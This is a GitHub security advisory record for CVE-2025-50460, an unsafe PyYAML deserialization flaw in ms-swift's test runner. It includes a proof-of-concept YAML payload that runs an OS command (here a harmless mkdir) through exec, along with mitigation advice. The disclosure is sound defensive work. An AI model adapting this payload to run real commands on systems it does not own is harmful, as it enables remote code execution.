CVE-2025-50460: Ms swift Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fm6c-f59h-7mmg",
  "modified" : "2025-08-01T18:35:43Z",
  "published" : "2025-07-31T14:02:34Z",
  "aliases" : [ "CVE-2025-50460" ],
  "summary" : "MS SWIFT Remote Code Execution via unsafe PyYAML deserialization",
  "details" : "## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML <= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding='utf-8') as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ms-swift"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.6.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-50460"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelscope/ms-swift/pull/5174"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Anchor0221/CVE-2025-50460"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-6757-jp84-gxfx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/modelscope/ms-swift"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-31T14:02:34Z",
    "nvd_published_at" : "2025-08-01T16:15:41Z"
  }
}